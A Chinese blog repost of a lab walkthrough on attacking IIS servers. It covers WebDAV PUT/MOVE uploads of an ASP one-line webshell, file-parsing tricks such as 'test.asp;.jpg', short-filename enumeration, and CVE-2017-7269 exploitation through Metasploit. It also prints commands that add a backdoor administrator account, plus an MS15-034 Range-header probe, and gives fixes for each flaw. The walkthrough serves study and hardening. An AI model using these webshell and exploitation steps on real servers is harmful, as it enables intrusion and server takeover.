• [转载]IIS中间件渗透总结


    原文链接:https://www.freebuf.com/vuls/304741.html

    IIS 6.x 攻防详解

    IIS写权限漏洞

    开启webDAV引起的IIS写权限漏洞(攻击者可以上传文件)

    PUT任意上传漏洞

    8

    改为允许,并开启脚本资源访问和写入

    9

    使用工具已经可以检测出漏洞

    10

    修改来宾用户权限

    11

    此时创建一个文本文档,输入一句话木马

     <%eval request("123")%> 

    使用工具put方式进行上传

    12

    可以看到这里成功通过 PUT 的方法上传了一个含有 asp 一句话的txt文件。之所以不直接上传一个asp一句话木马是因为通常情况下上传txt文本不会出错,但是上传asp就会报错

    13

    为了获取shell,这里可以用MOVE方法将刚刚上传的txt文件修改为asp文件,从而将文本文件变成可执行的脚本文件。MOVE协议不会更改文件内容

    开启IIS的asp解析功能

    14

    使用蚁剑尝试连接

    15

    IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

    /test.asp/test.jpg
    test.asp;.jpg

    第一种是新建一个名为 "test.asp" 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号是 “/” )

    第二种是上传名为 "test.asp;.jpg" 的文件,虽然该文件真正的后缀名是 ".jpg", 但由于含有特殊符号 ";" ,仍会被 IIS 当做 asp 程序执行

    IIS7.5 文件解析漏洞

    test.jpg/.php

    URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 "cgi.fix_pathinfo", 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径 "/aaa.xxx/bbb.yyy" 时,若 "/aaa.xxx/bbb.yyy" 不存在,则会去掉最后的 “bbb.yyy" ,然后判断 "/aaa.xxx" 是否存在,若存在,则把 “/aaa.xxx" 当作文件。

    若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 "test.jpg/.php" 交给 php , php 修理文件路径 "test.jpg/.php" 得到 ”test.jpg" ,该文件存在,便把该文件作为 php 程序执行了。

    修复建议:

    IIS PUT 漏洞完全是因为管理员的一些不当配置导致的,所以修复只需要以下两点:

    1. 关闭WebDAV

    2. 关闭写入权限

    文件解析漏洞

    IIS文件解析漏洞:*.asp;.xxx像这样畸形(IIS 10.0 8.5 都可能存在,属于PHP版本解析漏洞)的文件

    IIS只会把他当作xxx.asp文件执行不会看分号之后的内容

    IIS目录解析漏洞:以 *.asp 命名的文件夹中的文件都会被当作 asp 文件执行

    IIS文件解析漏洞

    首先创建一个 Ylion.asp 文件

      <%eval request("123")%> 

    16

    复制该文件进行重命名并访问

    17

    18

    IIS 目录解析漏洞

    该版本默认会将 *.asp/ 目录下的所有文件当成 Asp 解析

    新建两个空的文件夹

    19

    分别复制 1.jpg 1.zip 放入,内容和上面的asp文件内容一致,分别进行访问

    20

    21

    访问文件夹1下的,依旧是一张图片

    访问文件夹1.asp下的,成功被解析

    这就是IIS的文件解析漏洞

    另外,IIS6.x除了会将扩展名为 .asp 的文件解析为asp之外,默认会将扩展名为 .asa、.cdx、.cer解析为 asp,从网站属性,主目录,配置 可以看出,他们都是调用了 asp.dll 进行的解析:

    22

    修复建议:

    微软认为这个并不算是一个漏洞,也没有推出 IIS6.0 的补丁,因此漏洞需要自己修复

    1. 设置权限无

    23

    1. 不允许新建目录

    2. 上传的文件需要经过重命名(时间戳+随机数+ .jpg 等)

    IIS 短文件漏洞

    攻击者可以利用 " ~ " 字符猜解或遍历服务器中的文件名,或对IIS服务器中的 .Net Framework 进行 拒绝服务攻击

    就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件

    简介

    Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS或16位windows的程序访问这些文件。在cmd下输入 "dir /x" 即可看到短文件名效果

    24

    IIS短文件名产生:

    当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位

    当后缀大于等于4时,文件名前缀字符长度即使位1,也会产生短文件名

    目前 IIS 支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。

    IIS 8.0 之后的版本只能通过OPTIONSTRACE方法被猜测成功

    复现

    IIS8.0 以下版本需要开启ASP.NET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功

    实操一下:

    还是找到添加与删除程序,点击添加程序

    25

    找到ASP.NET,点击下一步并安装

    在web服务扩展里面,右键刷新

    26

    随便创建个后缀长度为4的文件:

    27

    远程访问一下:

    28

    远程访问返回404

    访问构造某个不存在的短文件名时,会返回400

    29

    EXP:(利用工具)

    https://github.com/WebBreacher/tilde_enum

    https://github.com/irsdl/IIS-ShortName-Scanner

    工具使用:

    安装JAVA7

    点击run.bat 输入地址:

    30

    输入对应IP,选择no

    31

    然后一路回车,就爆破出来了

    32

    修复建议:

    1.从CMD命令关闭NTFS 8.3 文件格式的支持

    windows server 2003:(1代表关闭,0代表开启)

    关闭该功能:

    fsutil behavior set disable8dot3 1

    windows server 2008 R2:

    查询是否开启短文件名功能:fsutil 8dot3name query

    关闭该功能:fsutil 8dot3name set 1

    不同系统关闭命令稍有区别,该功能是默认开启的

    2.或从修改注册表关闭NTFS 8.3文件格式的支持

    快捷键Win+R打开命令窗口,输入regedit打开注册表窗口

    找到路径:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

    33

    将其中选中的那一项的值设为1,1代表不创建短文件名格式

    注意:

    以上两种方式修改完成后,均需要重启系统生效。

    此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失

    IIS短文件漏洞局限性:

    1. 如果文件名本身太短也是无法猜解的;

    2. 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;

    3. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;

    4. 如果文件名前6位带点 "." ,扫描程序会认为是文件而不是文件夹,最终出现误报;

    5. 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测

    实战用处:

    猜后台

    猜敏感文件,例如备份的rarzip.bak.SQL文件等

    在某种情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件

    RCE-CVE-2017-7269

    简介

    Mcrosoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的 WebDAV 服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 "If : <http://" 开头的长标执行任意代码 PROPFIND 请求

    影响范围:

    Windows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

    复现

    EXP:

    https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py

    对ip及对应端口进行修改:

    34

    任务管理器开启了 calc.exe 进程,因为计算机是网络服务权限打开的,所以我们在桌面上看不见

    需要python2环境

    漏洞修复

    关闭 WebDAV 服务

    使用相关防护设备

    远程代码执行实战运用

    前提条件:

    IIS 6.0 开启 WebDAV

    35

    确保开启WebDAV

    exp下载地址:

    https://github.com/zcgonvh/cve-2017-7269

    下载后放入msf中,路径为 /url/share/metasploit-framework/modules/exploits/windows/iis/

    注意文件名中-修改为_,否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)

    放入后直接执行:

    36

    use exploit/windows/iis/cve_2017-7269

    set rhosts 192.168.27.182

    37

    失败了,检查原因:

    38

    默认网站->属性,在IP地址中未分配,可以解释为非默认绑定。该EXP只适用于默认绑定和默认路径的情况才可以提权

    39

    设置完重启系统

    批量检测工具:

    https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

    python IIS6_WebDAV_Scanner.py -p 12.txt

    python2环境执行,检测出长度为19

    然后在msf上设置PhysicalPathLength为19

    set PhysicalPathLength 19

    40

    成功拿到低权用户,然后使用pr提权,利用msf上传pr.exe

    upload '/root/Desktop/pr.exe' c:\Windows\system32\inetsrv

    然后进行创建用户

    pr.exe "net user a002 963852 /add"

    添加到管理员组

    pr.exe "net localgroup administrators a002 /add

    IIS 7.x 攻防详解

    解析漏洞

    新建png文件,其中写有php语句,直接访问,发现不可以

    点击确定,访问路径后面加上 /.php 尝试

    成功解析为php文件

    IIS 7.x 版本在 Fast-CGI 运行模式下,在任意文件,例:Ylion.png 加上 /.php ,会将 Ylion.png.php 解析为php文件

    修复建议:配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

    HTTP.SYS远程代码执行(MS15-034)

    IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程代码漏洞威胁将会非常严重。远程执行代码漏洞存在于HTTP协议堆栈中,当HTTP.sys未正确分析经特殊设计的HTTP请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统账户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据。

    影响范围

    Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

    漏洞影响版本:

    IIS 7.5、IIS 8.0、IIS 8.5

    复现

    在Windows7 上安装 IIS 7.5

    访问 IIS 7.5

    编辑请求头: Range: bytes=0-18446744073709551615

    增加字段,若返回码状态为416 Requested Range Not Satisfiable,则存在 HTTP.SYS远程代码执行漏洞

    54

    修复建议

    安装修复补丁(KB3042553)

    作者:拾瑾
    个性签名:愿历经千帆,归来仍少年.
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
  • 相关阅读:
    一、编程语言
    1、计算机基础
    四、格式化输出与基本运算符
    二、变量及用户与程序互交
    三、基本数据类型
    查看静态库中有哪些函数
    vs2010 error MSB6006: “cmd.exe”已退出,代码为 1
    ffmpeg formats
    C#启动一个外部程序(3)CreateProcess
    C#启动一个外部程序(2)ShellExecute
  • 原文地址:https://www.cnblogs.com/ayoung/p/15567214.html
Copyright © 2020-2023  润新知